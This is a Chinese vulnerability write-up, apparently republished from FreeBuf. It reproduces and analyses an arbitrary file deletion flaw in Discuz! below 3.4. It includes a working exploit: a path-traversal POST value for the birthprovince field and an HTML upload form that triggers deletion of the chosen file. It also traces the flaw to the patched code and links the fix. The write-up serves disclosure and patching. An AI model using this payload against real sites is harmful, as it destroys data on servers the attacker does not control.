前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Discuz! 任意文件删除漏洞重现及分析

Discuz! 任意文件删除漏洞重现及分析

作者头像
FB客服
发布2018-02-27 15:14:55
9730
发布2018-02-27 15:14:55
举报
文章被收录于专栏:FreeBufFreeBuf

0x00 概述

9月29日,Discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。

0x01 影响范围

Discuz < 3.4

0x02 漏洞重现

环境:win7+phpstudy+discuz3.2

新建importantfile.txt作为测试

进入设置-个人资料,先在页面源代码找到formhash值

http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile

可以看到formhash值是b21b6577。

再访问10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base

Post数据:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=b21b6577

如图

执行后

出生地被修改成要删除的文件。

最后构造表单执行删除文件

代码语言:javascript
复制
<form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”><input type=”file” name=”birthprovince” id=”file” /><input type=”text” name=”formhash” value=”b21b6577″/></p><input type=”text” name=”profilesubmit” value=”1″/></p><input type=”submit” value=”Submit” /></from>

随便上传一张图片,即可删除importantfile.txt

成功删除importantfile.txt,重现成功!

0x03 修复方案

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

删除unlink相关代码。

0x04 漏洞分析

根据补丁,漏洞存在于upload/source/include/spacecp/spacecp_profile.php。

先看第70行

代码语言:javascript
复制
if(submitcheck(‘profilesubmit’)) {

提交1进入这个判断。

来到220行,补丁前:

往上看来到:

可以看出文件上传成功就可以进入228行的unlink从而删除指定文件。

现在就看如何控制指定文件,也就是控制key]这个变量。

继续往上看来到:

可以看出space存用户资料,就可以利用space[birthprovince]存要删除的文件。

那如何修改birthprovince为指定文件呢,直接post提交就绕过限制了。

总结整个漏洞利用流程:

修改birthprovince->上传图片->执行unlink->删除任意文件

0x05 结语

删文件……,大家不要乱搞,该补的赶紧补,discuz树大招风,2014的补丁又不补完全,正是这样攻与防的不断博弈,使安全界生机勃勃,妙趣横生,也使互联网愈发安全稳固。

0x06 参考资料

https://www.seebug.org/vuldb/ssvid-96608

https://www.seebug.org/vuldb/ssvid-93588

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

https://gitee.com/ComsenzDiscuz/DiscuzX/blob/7d603a197c2717ef1d7e9ba654cf72aa42d3e574/upload/source/include/spacecp/spacecp_profile.php

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-10-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 影响范围
  • 0x02 漏洞重现
  • 0x03 修复方案
  • 0x04 漏洞分析
    • 总结整个漏洞利用流程:
    • 0x05 结语
    • 0x06 参考资料
    相关产品与服务
    Discuz!
    Discuz! 是全球领先的论坛社区应用系统,自2001年6月面世以来,服务超过300多万网站用户案例。现在,借助 Discuz! ,您不仅可以使用搭建传统的社区论坛,更可轻易的构建面向移动互联网时代的私域流量和社交圈子类的应用,并快速启动业务。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档